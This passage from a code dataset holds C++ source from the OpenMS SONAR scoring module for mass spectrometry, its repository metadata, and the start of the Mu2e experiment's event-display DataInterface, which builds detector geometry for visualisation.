0.0);\n        if (indices.empty() )  {continue;}\n        int closest_idx = boost::numeric_cast<int>(indices[0]);\n        if (indices[0] != 0 &&\n            std::fabs(swath_map->getSpectrumMetaById(boost::numeric_cast<int>(indices[0]) - 1).RT - RT) <\n            std::fabs(swath_map->getSpectrumMetaById(boost::numeric_cast<int>(indices[0])).RT - RT))\n        {\n          closest_idx--;\n        }\n        OpenSwath::SpectrumPtr spectrum_ = swath_map->getSpectrumById(closest_idx);\n\n        // integrate intensity within that scan\n        double left = transitions[k].getProductMZ();\n        double right = transitions[k].getProductMZ();\n        if (dia_extraction_ppm_)\n        {\n          left -= left * dia_extract_window_ / 2e6;\n          right += right * dia_extract_window_ / 2e6;\n        }\n        else\n        {\n          left -= dia_extract_window_ / 2.0;\n          right += dia_extract_window_ / 2.0;\n        }\n        double mz, intensity;\n        DIAHelpers::integrateWindow(spectrum_, left, right, mz, intensity, dia_centroided_);\n\n        sonar_profile.push_back(intensity);\n        sonar_mz_profile.push_back(mz);\n        signal_exp.push_back(expect_signal);\n      }\n      sonar_profiles.push_back(sonar_profile);\n\n#ifdef DEBUG_SONAR\n      std::cout << \" transition \" << native_id << \" at \" << RT << \" will analyze with \" << swath_maps.size() << \" maps\" << std::endl;\n      debug_file << native_id << \"\\t\" << imrmfeature->getRT() << \"\\tint\";\n      for (Size it = 0; it < sonar_profile.size(); it++)\n      {\n        debug_file << \"\\t\" << sonar_profile[it];\n      }\n      debug_file << \"\\n\";\n      debug_file << native_id << \"\\t\" << imrmfeature->getRT() << \"\\tmz\";\n      for (Size it = 0; it < sonar_mz_profile.size(); it++)\n      {\n        debug_file << \"\\t\" << sonar_mz_profile[it];\n      }\n      debug_file << \"\\n\";\n#endif\n\n      // Analyze profiles\n      std::vector<double> sonar_profile_pos;\n      std::vector<double> sonar_mz_profile_pos;\n      std::vector<double> sonar_profile_neg;\n      std::vector<double> sonar_mz_profile_neg;\n      for (Size it = 0; it < sonar_profile.size(); it++)\n      {\n        if (signal_exp[it])\n        {\n          sonar_profile_pos.push_back(sonar_profile[it]);\n          sonar_mz_profile_pos.push_back(sonar_mz_profile[it]);\n        }\n        else\n        {\n          sonar_profile_neg.push_back(sonar_profile[it]);\n          sonar_mz_profile_neg.push_back(sonar_mz_profile[it]);\n        }\n      }\n\n      // try to find diff between first and last\n      double sonar_trend = 1.0;\n      if (sonar_profile_pos.size() > 1)\n      {\n        double int_end = sonar_profile_pos[sonar_profile_pos.size()-1] + sonar_profile_pos[sonar_profile_pos.size()-2];\n        double int_start = sonar_profile_pos[0] + sonar_profile_pos[1];\n        if (int_end > 0.0)\n        {\n          sonar_trend = int_start / int_end;\n        }\n        else\n        {\n          sonar_trend = 0.0;\n        }\n      }\n\n      // try to find R^2 of a linear regression (optimally, there is no trend)\n      std::vector<double> xvals;\n      for (Size pr_idx = 0; pr_idx < sonar_profile_pos.size(); pr_idx++) {xvals.push_back(pr_idx);}\n      double rsq = OpenSwath::cor_pearson( xvals.begin(), xvals.end(), sonar_profile_pos.begin() );\n      if (boost::math::isnan(rsq)) rsq = 0.0; // check for nan\n\n      // try to find largest diff\n      double sonar_largediff = 0.0;\n      for (Size pr_idx = 0; pr_idx < sonar_profile_pos.size()-1; pr_idx++)\n      {\n        double diff = std::fabs(sonar_profile_pos[pr_idx] - sonar_profile_pos[pr_idx+1]);\n        if (diff > sonar_largediff)\n        {\n          sonar_largediff = diff;\n        }\n      }\n\n      double sonar_sn = 1.0;\n      double pos_med = 1.0;\n      // from here on, its not sorted any more !!\n      if (!sonar_profile_pos.empty() && !sonar_profile_neg.empty())\n      {\n        double neg_med;\n\n        pos_med = Math::median(sonar_profile_pos.begin(), sonar_profile_pos.end());\n        neg_med = Math::median(sonar_profile_neg.begin(), sonar_profile_neg.end());\n\n        // compute the relative difference between the medians (or if the\n        // medians are zero, compute the difference to the max element)\n        if (neg_med > 0.0)\n        {\n          sonar_sn = pos_med / neg_med;\n        }\n        else if (*std::max_element(sonar_profile_neg.begin(), sonar_profile_neg.end()) > 0.0)\n        {\n          sonar_sn = pos_med / *std::max_element(sonar_profile_neg.begin(), sonar_profile_neg.end());\n        }\n\n      }\n\n      double median_mz = 0.0;\n      double mz_stdev = -1.0;\n      if (!sonar_mz_profile_pos.empty())\n      {\n        median_mz = Math::median(sonar_mz_profile_pos.begin(), sonar_mz_profile_pos.end());\n\n        double sum = std::accumulate(sonar_mz_profile_pos.begin(), sonar_mz_profile_pos.end(), 0.0);\n        double mean = sum / sonar_mz_profile_pos.size();\n\n        double sq_sum = std::inner_product(sonar_mz_profile_pos.begin(), sonar_mz_profile_pos.end(), sonar_mz_profile_pos.begin(), 0.0);\n        double stdev = std::sqrt(sq_sum / sonar_mz_profile_pos.size() - mean * mean);\n\n        mz_stdev = stdev;\n      }\n\n#ifdef DEBUG_SONAR\n      std::cout << \" computed SN: \" << sonar_sn  <<  \"(from \" << pos_med << \" and neg \" << neg_med <<  \")\"\n        << \" large diff: \"  << sonar_largediff << \" trend \" << sonar_trend << std::endl;\n#endif\n      sn_score.push_back(sonar_sn);\n      diff_score.push_back(sonar_largediff / pos_med);\n      trend_score.push_back(sonar_trend);\n      rsq_score.push_back(rsq);\n\n      mz_median_score.push_back(median_mz);\n      mz_stdev_score.push_back(mz_stdev);\n    }\n\n    double xcorr_coelution_score, xcorr_shape_score;\n    computeXCorr_(sonar_profiles, xcorr_coelution_score, xcorr_shape_score);\n\n    double sn_av = std::accumulate(sn_score.begin(), sn_score.end(), 0.0) / sn_score.size();\n    double diff_av = std::accumulate(diff_score.begin(), diff_score.end(), 0.0) / diff_score.size();\n    double trend_av = std::accumulate(trend_score.begin(), trend_score.end(), 0.0) / trend_score.size();\n    double rsq_av = std::accumulate(rsq_score.begin(), rsq_score.end(), 0.0) / rsq_score.size();\n\n    //double mz_median = std::accumulate(mz_median_score.begin(), mz_median_score.end(), 0.0) / mz_median_score.size();\n    //double mz_stdev = std::accumulate(mz_stdev_score.begin(), mz_stdev_score.end(), 0.0) / mz_stdev_score.size();\n\n    scores.sonar_sn = sn_av;\n    scores.sonar_diff = diff_av;\n    scores.sonar_trend = trend_av;\n    scores.sonar_rsq = rsq_av;\n    scores.sonar_lag = xcorr_coelution_score;\n    scores.sonar_shape = xcorr_shape_score;\n\n#ifdef DEBUG_SONAR\n    debug_file.close();\n#endif\n  }\n\n\n}\n\n", "meta": {"hexsha": "d4deecb7e07b7ab05c1b8b994ee5bc47c8b54fd1", "size": 14892, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/openms/source/ANALYSIS/OPENSWATH/SONARScoring.cpp", "max_stars_repo_name": "Togepitsch/OpenMS", "max_stars_repo_head_hexsha": "b4bd89fbbcc0d56143eb5a0145ba847210fb3aaa", "max_stars_repo_licenses": ["BSL-1.0", "Zlib", "Apache-2.0"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2017-12-18T09:01:54.000Z", "max_stars_repo_stars_event_max_datetime": "2017-12-18T09:01:54.000Z", "max_issues_repo_path": "src/openms/source/ANALYSIS/OPENSWATH/SONARScoring.cpp", "max_issues_repo_name": "Togepitsch/OpenMS", "max_issues_repo_head_hexsha": "b4bd89fbbcc0d56143eb5a0145ba847210fb3aaa", "max_issues_repo_licenses": ["BSL-1.0", "Zlib", "Apache-2.0"], "max_issues_count": 4.0, "max_issues_repo_issues_event_min_datetime": "2016-03-03T09:42:34.000Z", "max_issues_repo_issues_event_max_datetime": "2019-05-22T14:30:06.000Z", "max_forks_repo_path": "src/openms/source/ANALYSIS/OPENSWATH/SONARScoring.cpp", "max_forks_repo_name": "timosachsenberg/OpenMS", "max_forks_repo_head_hexsha": "fe62fff281daa2623977a1f2aafb4444b2c36513", "max_forks_repo_licenses": ["BSL-1.0", "Zlib", "Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.0866141732, "max_line_length": 136, "alphanum_fraction": 0.6269137792, "num_tokens": 3870, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118493816807, "lm_q2_score": 0.2942149659744614, "lm_q1q2_score": 0.1494058459872595}}
{"text": "//\n//\nusing namespace std;\n#include \"EventDisplay/src/DataInterface.h\"\n\n#include \"CLHEP/Vector/LorentzVector.h\"\n#include \"CLHEP/Vector/Rotation.h\"\n#include \"CalorimeterGeom/inc/DiskCalorimeter.hh\"\n#include \"CalorimeterGeom/inc/Calorimeter.hh\"\n#include \"ConditionsService/inc/CrvParams.hh\"\n#include \"ConditionsService/inc/ConditionsHandle.hh\"\n#include \"CosmicRayShieldGeom/inc/CosmicRayShield.hh\"\n#include \"DetectorSolenoidGeom/inc/DetectorSolenoid.hh\"\n#include \"EventDisplay/src/Cube.h\"\n#include \"EventDisplay/src/Cylinder.h\"\n#include \"EventDisplay/src/Cone.h\"\n#include \"EventDisplay/src/EventDisplayFrame.h\"\n#include \"EventDisplay/src/Hexagon.h\"\n#include \"EventDisplay/src/Straw.h\"\n#include \"EventDisplay/src/Track.h\"\n#include \"EventDisplay/src/TrackColorSelector.h\"\n#include \"EventDisplay/src/dict_classes/ComponentInfo.h\"\n#include \"EventDisplay/src/dict_classes/EventDisplayViewSetup.h\"\n#include \"GeometryService/inc/GeomHandle.hh\"\n#include \"GeometryService/inc/DetectorSystem.hh\"\n#include \"HepPID/ParticleName.hh\"\n#include \"HepPDT/ParticleData.hh\"\n#include \"MCDataProducts/inc/PhysicalVolumeInfoMultiCollection.hh\"\n#include \"MCDataProducts/inc/MCTrajectoryCollection.hh\"\n#include \"MCDataProducts/inc/SimParticlePtrCollection.hh\"\n#include \"MCDataProducts/inc/StepPointMCCollection.hh\"\n#include \"Mu2eUtilities/inc/PhysicalVolumeMultiHelper.hh\"\n#include \"ConfigTools/inc/SimpleConfig.hh\"\n#include \"RecoDataProducts/inc/KalSeed.hh\"\n#include \"RecoDataProducts/inc/CrvDigiCollection.hh\"\n#include \"RecoDataProducts/inc/CaloHit.hh\"\n#include \"RecoDataProducts/inc/StrawHitCollection.hh\"\n#include \"RecoDataProducts/inc/StrawHitFlagCollection.hh\"\n#include \"RecoDataProducts/inc/TrkExtTrajCollection.hh\"\n#include \"RecoDataProducts/inc/TrkExtTraj.hh\"\n#include \"RecoDataProducts/inc/TrkExtTrajCollection.hh\"\n#include \"StoppingTargetGeom/inc/StoppingTarget.hh\"\n#include \"StoppingTargetGeom/inc/TargetFoil.hh\"\n#include \"TrkReco/inc/TrkUtilities.hh\"\n#include \"TrackerGeom/inc/Tracker.hh\"\n#include \"art/Framework/Principal/Run.h\"\n#include \"cetlib/map_vector.h\"\n#include <TAxis3D.h>\n#include <TGFrame.h>\n#include <TGeoVolume.h>\n#include <TMath.h>\n#include <TView.h>\n#include <TGraphErrors.h>\n#include <TF1.h>\n\n#include <boost/shared_array.hpp>\n\nusing namespace CLHEP;\n#include \"RecoDataProducts/inc/KalRepCollection.hh\"\n#include \"BTrkData/inc/TrkStrawHit.hh\"\n#include \"BTrk/KalmanTrack/KalRep.hh\"\n#include \"BTrk/BaBar/ExternalInfo.hh\"\n\nnamespace mu2e_eventdisplay\n{\n\nDataInterface::DataInterface(EventDisplayFrame *mainframe):\n              _geometrymanager(nullptr),_topvolume(nullptr),_mainframe(mainframe)\n{\n    _minPoints=0;\n    _minTime=NAN;\n    _maxTime=NAN;\n    _minMomentum=0;\n    _showElectrons=true;\n    _showMuons=true;\n    _showGammas=true;\n    _showNeutrinos=true;\n    _showNeutrons=true;\n    _showOthers=true;\n\n    _particleInfo = make_unique<mu2e::ParticleInfo>();\n    ExternalInfo::set(_particleInfo.get());\n}\n\nDataInterface::~DataInterface()\n{\n  removeAllComponents();\n}\n\nvoid DataInterface::startComponents()\n{\n//  removeNonGeometryComponents();\n}\n\nvoid DataInterface::updateComponents(double time, boost::shared_ptr<ContentSelector> contentSelector)\n{\n  std::vector<boost::shared_ptr<Track> >::const_iterator track;\n  for(track=_tracks.begin(); track!=_tracks.end(); track++)\n  {\n    (*track)->setFilter(_minPoints, _minTime, _maxTime, _minMomentum,\n                        _showElectrons, _showMuons, _showGammas, _showNeutrinos, _showNeutrons, _showOthers);\n    (*track)->update(time);\n  }\n\n  const mu2e::StrawHitFlagCollection *hitFlagCollection=contentSelector->getStrawHitFlagCollection();\n  std::vector<boost::shared_ptr<Straw> >::const_iterator hit; //iterate only over hit straws\n  for(hit=_hits.begin(); hit!=_hits.end(); hit++)\n  {\n    int hitnumber=(*hit)->getHitNumber();\n    if(hitFlagCollection!=nullptr)\n    {\n      //flag collection selected --> show only hits which have certain hit flags\n      (*hit)->setFilter(_minTime, _maxTime, true);\n      if(hitnumber<static_cast<int>(hitFlagCollection->size()) && hitnumber>=0)\n      {\n        const mu2e::StrawHitFlag& hitFlag = (*hitFlagCollection)[hitnumber];\n        if(hitFlag.hasAnyProperty(_hitFlagSetting))\n        {\n          (*hit)->setFilter(_minTime, _maxTime, false);\n        }\n      }\n    }\n    else\n    {\n      //no flag collection selected --> show all hits\n      (*hit)->setFilter(_minTime, _maxTime, false);\n    }\n    (*hit)->update(time);\n  }\n\n  std::vector<boost::shared_ptr<VirtualShape> >::const_iterator crystalhit; //iterate only over hit crystals\n  for(crystalhit=_crystalhits.begin(); crystalhit!=_crystalhits.end(); crystalhit++)\n  {\n    (*crystalhit)->setFilter(_minTime, _maxTime);\n    (*crystalhit)->update(time);\n  }\n\n  std::vector<boost::shared_ptr<Cylinder> >::const_iterator driftradius;\n  for(driftradius=_driftradii.begin(); driftradius!=_driftradii.end(); driftradius++)\n  {\n    (*driftradius)->setFilter(_minTime, _maxTime);\n    (*driftradius)->update(time);\n  }\n\n  std::vector<boost::shared_ptr<Cube> >::const_iterator crvhit;\n  for(crvhit=_crvhits.begin(); crvhit!=_crvhits.end(); crvhit++)\n  {\n    (*crvhit)->setFilter(_minTime, _maxTime);\n    (*crvhit)->update(time);\n  }\n}\n\nvoid DataInterface::getFilterValues(unsigned int &minPoints, double &minTime, double &maxTime, double &minMomentum,\n                                    bool &showElectrons, bool &showMuons, bool &showGammas,\n                                    bool &showNeutrinos, bool &showNeutrons, bool &showOthers,\n                                    mu2e::StrawHitFlag &hitFlagSetting)\n{\n    minPoints=_minPoints;\n    minTime=_minTime;\n    maxTime=_maxTime;\n    minMomentum=_minMomentum;\n    showElectrons=_showElectrons;\n    showMuons=_showMuons;\n    showGammas=_showGammas;\n    showNeutrinos=_showNeutrinos;\n    showNeutrons=_showNeutrons;\n    showOthers=_showOthers;\n    hitFlagSetting=_hitFlagSetting;\n}\n\nvoid DataInterface::setFilterValues(unsigned int minPoints, double minTime, double maxTime, double minMomentum,\n                                    bool showElectrons, bool showMuons, bool showGammas,\n                                    bool showNeutrinos, bool showNeutrons, bool showOthers,\n                                    mu2e::StrawHitFlag hitFlagSetting)\n{\n    _minPoints=minPoints;\n    _minTime=minTime;\n    _maxTime=maxTime;\n    _minMomentum=minMomentum;\n    _showElectrons=showElectrons;\n    _showMuons=showMuons;\n    _showGammas=showGammas;\n    _showNeutrinos=showNeutrinos;\n    _showNeutrons=showNeutrons;\n    _showOthers=showOthers;\n    _hitFlagSetting=hitFlagSetting;\n}\n\nDataInterface::timeminmax DataInterface::getHitsTimeBoundary()\n{\n  DataInterface::timeminmax toReturn=_hitsTimeMinmax;\n  if(_minTime>toReturn.mint) toReturn.mint=_minTime;\n  if(_maxTime<toReturn.maxt) toReturn.maxt=_maxTime;\n  return toReturn;\n}\n\nDataInterface::timeminmax DataInterface::getTracksTimeBoundary()\n{\n  DataInterface::timeminmax toReturn=_tracksTimeMinmax;\n  if(_minTime>toReturn.mint) toReturn.mint=_minTime;\n  if(_maxTime<toReturn.maxt) toReturn.maxt=_maxTime;\n  return toReturn;\n}\n\nvoid DataInterface::createGeometryManager()\n{\n  _geometrymanager = new TGeoManager(\"GeoManager\", \"GeoManager\");\n  _geometrymanager->SetVerboseLevel(0);\n   TGeoMaterial *matVacuum = new TGeoMaterial(\"Vacuum\", 0,0,0);\n   TGeoMedium *Vacuum = new TGeoMedium(\"Vacuum\",1, matVacuum);\n  _topvolume = _geometrymanager->MakeBox(\"TopVolume\", Vacuum, 1000, 1000, 1500);\n  _geometrymanager->SetTopVolume(_topvolume);\n  _geometrymanager->SetTopVisible(false);\n  _geometrymanager->CloseGeometry();\n  _geometrymanager->SetVisLevel(4);\n  _topvolume->SetVisibility(0);\n  _topvolume->SetLineColor(0);\n  _topvolume->Draw(\"ogle\");\n  EventDisplayViewSetup::setup();\n}\n\nvoid DataInterface::fillGeometry()\n{\n  removeAllComponents();\n  createGeometryManager();\n  resetBoundaryP(_trackerMinmax);\n  resetBoundaryP(_targetMinmax);\n  resetBoundaryP(_calorimeterMinmax);\n  resetBoundaryP(_tracksMinmax);\n\n  art::ServiceHandle<mu2e::GeometryService> geom;\n\n  const mu2e::SimpleConfig &config = geom->config();\n  _detSysOrigin = mu2e::GeomHandle<mu2e::DetectorSystem>()->getOrigin();\n\n  if(geom->hasElement<mu2e::Tracker>())\n  {\n//Straws\n    mu2e::GeomHandle<mu2e::Tracker> tracker;\n    const auto& allStraws = tracker->getStraws();\n    // for(const auto & elem : allStraws)\n    for (size_t i = 0; i<tracker->nStraws(); ++i)\n    {\n      // const mu2e::Straw& s = elem;\n      const mu2e::Straw& s = allStraws[i];\n      const CLHEP::Hep3Vector& p = s.getMidPoint();\n      const CLHEP::Hep3Vector& d = s.getDirection();\n      double x = p.x();\n      double y = p.y();\n      double z = p.z();\n      double theta = d.theta();\n      double phi = d.phi();\n      double l = s.halfLength();\n      int idStraw =  s.id().getStraw();\n      int idLayer =  s.id().getLayer();\n      int idPanel =  s.id().getPanel();\n      int idPlane =  s.id().getPlane();\n      int id = s.id().asUint16();\n\n      boost::shared_ptr<ComponentInfo> info(new ComponentInfo());\n      std::string c=Form(\"Straw %i  Layer %i  Panel %i  Plane %i\",idStraw,idLayer,idPanel,idPlane);\n      info->setName(c.c_str());\n      info->setText(0,c.c_str());\n      boost::shared_ptr<Straw> shape(new Straw(x,y,z, NAN, theta, phi, l,\n                                               _geometrymanager, _topvolume, _mainframe, info, true));\n      _components.push_back(shape);\n      _straws[id]=shape;\n    }\n\n//Support Structure\n    double innerRadius=tracker->g4Tracker()->getSupportParams().innerRadius();\n    double outerRadius=tracker->g4Tracker()->getSupportParams().outerRadius();\n    double zHalfLength=tracker->g4Tracker()->getInnerTrackerEnvelopeParams().zHalfLength();\n    findBoundaryP(_trackerMinmax, outerRadius, outerRadius, zHalfLength);\n    findBoundaryP(_trackerMinmax, -outerRadius, -outerRadius, -zHalfLength);\n\n    boost::shared_ptr<ComponentInfo> info(new ComponentInfo());\n    info->setName(\"Tracker Support Structure\");\n    info->setText(0,\"Tracker Support Structure\");\n    info->setText(1,Form(\"Inner Radius %.f mm  Outer Radius %.f mm\",innerRadius/CLHEP::mm,outerRadius/CLHEP::mm));\n    info->setText(2,Form(\"Length %.f mm\",2.0*zHalfLength/CLHEP::mm));\n    info->setText(3,Form(\"Center at x: 0 mm, y: 0 mm, z: 0 mm\"));\n    boost::shared_ptr<Cylinder> shape(new Cylinder(0,0,0, 0,0,0,\n                                          zHalfLength,innerRadius,outerRadius, NAN,\n                                          _geometrymanager, _topvolume, _mainframe, info, true));\n    shape->makeGeometryVisible(true);\n    _components.push_back(shape);\n    _supportstructures.push_back(shape);\n\n//Envelope\n    innerRadius=tracker->g4Tracker()->getInnerTrackerEnvelopeParams().innerRadius();\n    outerRadius=tracker->g4Tracker()->getInnerTrackerEnvelopeParams().outerRadius();\n    zHalfLength=tracker->g4Tracker()->getInnerTrackerEnvelopeParams().zHalfLength();\n\n    boost::shared_ptr<ComponentInfo> infoEnvelope(new ComponentInfo());\n    infoEnvelope->setName(\"Tracker Envelope\");\n    infoEnvelope->setText(0,\"Tracker Envelope\");\n    infoEnvelope->setText(1,Form(\"Inner Radius %.f mm  Outer Radius %.f mm\",innerRadius/CLHEP::mm,outerRadius/CLHEP::mm));\n    infoEnvelope->setText(2,Form(\"Length %.f mm\",2.0*zHalfLength/CLHEP::mm));\n    infoEnvelope->setText(3,Form(\"Center at x: 0 mm, y: 0 mm, z: 0 mm\"));\n    boost::shared_ptr<Cylinder> shapeEnvelope(new Cylinder(0,0,0, 0,0,0,\n                                                  zHalfLength,innerRadius,outerRadius, NAN,\n                                                  _geometrymanager, _topvolume, _mainframe, infoEnvelope, true));\n    shapeEnvelope->makeGeometryVisible(true);\n    _components.push_back(shapeEnvelope);\n    _supportstructures.push_back(shapeEnvelope);\n  }\n\n  art::ServiceHandle<mu2e::GeometryService> geoservice;\n  if(geoservice->hasElement<mu2e::DetectorSolenoid>())\n  {\n    mu2e::GeomHandle<mu2e::DetectorSolenoid> ds;\n\n    double innerRadius=ds->rIn1();\n    double outerRadius=ds->rOut2();\n    double zHalfLength=ds->halfLength();\n    double z=ds->position().z() - _detSysOrigin.z();\n\n    boost::shared_ptr<ComponentInfo> infoToyDS(new ComponentInfo());\n    infoToyDS->setName(\"Toy DS\");\n    infoToyDS->setText(0,\"Toy DS\");\n    infoToyDS->setText(1,Form(\"Inner Radius %.f mm  Outer Radius %.f mm\",innerRadius/CLHEP::mm,outerRadius/CLHEP::mm));\n    infoToyDS->setText(2,Form(\"Length %.f mm\",2.0*zHalfLength/CLHEP::mm));\n    infoToyDS->setText(3,Form(\"Center at x: 0 mm, y: 0 mm, z: %.f mm\",z/CLHEP::mm));\n    boost::shared_ptr<Cylinder> shapeToyDS(new Cylinder(0,0,z, 0,0,0,\n                                               zHalfLength,innerRadius,outerRadius, NAN,\n                                               _geometrymanager, _topvolume, _mainframe, infoToyDS, true));\n    _components.push_back(shapeToyDS);\n    _otherstructures.push_back(shapeToyDS);\n  }\n\n  if(geom->hasElement<mu2e::StoppingTarget>())\n  {\n    mu2e::GeomHandle<mu2e::StoppingTarget> target;\n    unsigned int n=target->nFoils();\n    for(unsigned int i=0; i<n; i++)\n    {\n      const mu2e::TargetFoil &foil=target->foil(i);\n      int id = foil.id();\n      double x = foil.centerInDetectorSystem().x();\n      double y = foil.centerInDetectorSystem().y();\n      double z = foil.centerInDetectorSystem().z();\n      double radius = foil.rOut();\n      double halfThickness = foil.halfThickness();\n\n      findBoundaryP(_targetMinmax, x+radius, y+radius, z+halfThickness);\n      findBoundaryP(_targetMinmax, x-radius, y-radius, z-halfThickness);\n\n      boost::shared_ptr<ComponentInfo> info(new ComponentInfo());\n      std::string c=Form(\"Target Foil ID %i\",id);\n      info->setName(c.c_str());\n      info->setText(0,c.c_str());\n      info->setText(1,Form(\"Outer Radius %.2f mm\",radius/CLHEP::mm));\n      info->setText(2,Form(\"Half thickness %.2f mm\",halfThickness/CLHEP::mm));\n      info->setText(3,Form(\"Center at x: %.2f mm, y: %.2f mm, z: %.2f mm\",x/CLHEP::mm,y/CLHEP::mm,z/CLHEP::mm));\n      boost::shared_ptr<Cylinder> shape(new Cylinder(x,y,z, 0,0,0, halfThickness,0,radius, NAN,\n                                          _geometrymanager, _topvolume, _mainframe, info, true));\n      shape->makeGeometryVisible(true);\n      _components.push_back(shape);\n      _supportstructures.push_back(shape);\n    }\n  }\n\n  if(geom->hasElement<mu2e::DiskCalorimeter>())\n  {\n    mu2e::GeomHandle<mu2e::DiskCalorimeter> calo;\n\n    double diskCaseDZLength      = calo->caloInfo().getDouble(\"diskCaseZLength\")/2.0;\n    double diskInnerRingIn       = calo->caloInfo().getDouble(\"diskInnerRingIn\");\n    double diskOuterRingOut      = calo->caloInfo().getDouble(\"diskOuterRingOut\");\n    double diskOuterRailOut      = diskOuterRingOut + calo->caloInfo().getDouble(\"diskOutRingEdgeRLength\");\n\n\n\n    double FPCarbonDZ               = calo->caloInfo().getDouble(\"FPCarbonZLength\")/2.0;\n    double FPFoamDZ                 = calo->caloInfo().getDouble(\"FPFoamZLength\")/2.0;\n    double FPCoolPipeRadius         = calo->caloInfo().getDouble(\"FPCoolPipeRadius\");\n    double pipeRadius               = calo->caloInfo().getDouble(\"pipeRadius\");\n    double frontPanelHalfThick      = (2.0*FPCarbonDZ+2.0*FPFoamDZ-pipeRadius+FPCoolPipeRadius)/2.0;\n    double holeDZ                   = calo->caloInfo().getDouble(\"BPHoleZLength\")/2.0;\n\n    double crystalDXY            = calo->caloInfo().getDouble(\"crystalXYLength\")/2.0;\n    double crystalDZ             = calo->caloInfo().getDouble(\"crystalZLength\")/2.0;    \n    double crystalFrameDZ        = calo->caloInfo().getDouble(\"crystalFrameZLength\")/2.0;    \n    double wrapperHalfThick      = calo->caloInfo().getDouble(\"wrapperThickness\")/2.0;    \n    double wrapperDXY            = crystalDXY + 2.0*wrapperHalfThick;\n    double wrapperDZ             = crystalDZ + 2.0*crystalFrameDZ;\n\n    int icrystal=0;\n    for(unsigned int idisk=0; idisk<calo->nDisk(); idisk++)\n    {\n      CLHEP::Hep3Vector diskPos = calo->disk(idisk).geomInfo().origin() - _detSysOrigin;\n      diskPos += CLHEP::Hep3Vector(0.0, 0.0, -holeDZ+frontPanelHalfThick);\n\n      findBoundaryP(_calorimeterMinmax, diskPos.x()+diskOuterRailOut, diskPos.y()+diskOuterRailOut, diskPos.z()+diskCaseDZLength);\n      findBoundaryP(_calorimeterMinmax, diskPos.x()-diskOuterRailOut, diskPos.y()-diskOuterRailOut, diskPos.z()-diskCaseDZLength);\n\n      boost::shared_ptr<ComponentInfo> diskInfo(new ComponentInfo());\n      std::string c=Form(\"Disk %i\",idisk);\n      diskInfo->setName(c.c_str());\n      diskInfo->setText(0,c.c_str());\n      diskInfo->setText(1,Form(\"Center at x: %.f mm, y: %.f mm, z: %.f mm\",diskPos.x(),diskPos.y(),diskPos.z()));\n      diskInfo->setText(2,Form(\"Outer radius: %.f mm, Inner radius: %.f mm, Thickness: %.f mm\",diskOuterRailOut,diskInnerRingIn,2.0*diskCaseDZLength));\n      boost::shared_ptr<Cylinder> calodisk(new Cylinder(diskPos.x(),diskPos.y(),diskPos.z(),  0,0,0,\n                                                        diskCaseDZLength, diskInnerRingIn, diskOuterRailOut, NAN,\n                                                        _geometrymanager, _topvolume, _mainframe, diskInfo, true));\n      calodisk->makeGeometryVisible(true);\n      _components.push_back(calodisk);\n      _supportstructures.push_back(calodisk);\n\n      int nCrystalInThisDisk = calo->disk(idisk).nCrystals();\n      for(int ic=0; ic<nCrystalInThisDisk; ic++)\n      {\n        CLHEP::Hep3Vector crystalPosition = calo->disk(idisk).crystal(ic).localPosition();\n        crystalPosition.setZ(diskCaseDZLength-wrapperDZ);\n        crystalPosition += diskPos;\n\n        boost::shared_ptr<ComponentInfo> info(new ComponentInfo());\n        std::string c=Form(\"Disk %i, Crystal %i\",idisk,ic);\n        info->setName(c.c_str());\n        info->setText(0,c.c_str());\n        info->setText(1,Form(\"Center at x: %.f mm, y: %.f mm, z: %.f mm\",crystalPosition.x(),crystalPosition.y(),crystalPosition.z()));\n        info->setText(2,Form(\"XYSize: %.f mm, Thickness: %.f mm\",2.0*wrapperDXY,2.0*wrapperDZ));\n        boost::shared_ptr<Hexagon> shape(new Hexagon(crystalPosition.x(),crystalPosition.y(),crystalPosition.z(),\n                                                     wrapperDXY,wrapperDZ,360, NAN,\n                                                     _geometrymanager, _topvolume, _mainframe, info, true));\n        _components.push_back(shape);\n        _crystals[icrystal]=shape;\n        icrystal++;\n      }\n    }\n  }\n\n\n  //MBS\n/*\n  if(config.getBool(\"hasMBS\", false)) \n  {\n    double mbsinr[3], mbsoutr[3], mbslen[3], mbsz[3];\n    mbsinr[0]  = config.getDouble(\"mbs.BSTCInnerRadius\");\n    mbsoutr[0] = config.getDouble(\"mbs.BSTSOuterRadius\");\n    mbsinr[1]  = config.getDouble(\"mbs.BSBSInnerRadius\");\n    mbsoutr[1] = config.getDouble(\"mbs.BSTSOuterRadius\");\n    mbsinr[2]  = config.getDouble(\"mbs.CLV2InnerRadius\");\n    mbsoutr[2] = config.getDouble(\"mbs.CLV2OuterRadius\");\n    mbslen[0]  = config.getDouble(\"mbs.BSTCHLength\");\n    mbslen[1]  = config.getDouble(\"mbs.BSTSHLength\") - mbslen[0];\n    mbslen[2]  = config.getDouble(\"mbs.CLV2HLength\");\n    double mbsbstsz = config.getDouble(\"mbs.BSTSZ\");\n    double mbstotallen = (mbslen[0] + mbslen[1])*2.;\n    double mbsstartz = mbsbstsz - mbstotallen/2. - _detSysOrigin.z();\n    mbsz[0] = mbsstartz + mbslen[0] ;\n    mbsz[1] = mbsstartz + mbslen[0]*2. + mbslen[1];\n    mbsz[2] = mbsstartz +mbstotallen - mbslen[2];\n    for (unsigned int i = 0 ; i <3 ; ++i) \n    {\n      boost::shared_ptr<ComponentInfo> infoMBS(new ComponentInfo());\n      std::string c=Form(c,\"MBS %d\", i);\n      infoMBS->setName(c.c_str());\n      infoMBS->setText(0,c.c_str());\n      infoMBS->setText(1,Form(\"Inner Radius %.f mm  Outer Radius %.f mm\",mbsinr[i]/CLHEP::mm,mbsoutr[i]/CLHEP::mm));\n      infoMBS->setText(2,Form(\"Length %.f mm\",2.0*mbslen[i]/CLHEP::mm));\n      infoMBS->setText(3,Form(\"Center at x: 0 mm, y: 0 mm, z: %.f mm\",mbsz[i]/CLHEP::mm));\n      boost::shared_ptr<Cylinder> shapeMBS(new Cylinder(0,0,mbsz[i], 0,0,0,\n                                               mbslen[i], mbsinr[i], mbsoutr[i], NAN,\n                                               _geometrymanager, _topvolume, _mainframe, infoMBS, true));\n      _components.push_back(shapeMBS);\n      _mbsstructures.push_back(shapeMBS);\n    }\n  }\n*/\n  //MecoStyleProtonAbsorber\n  if(config.getBool(\"hasProtonAbsorber\", false)) \n  {\n    if 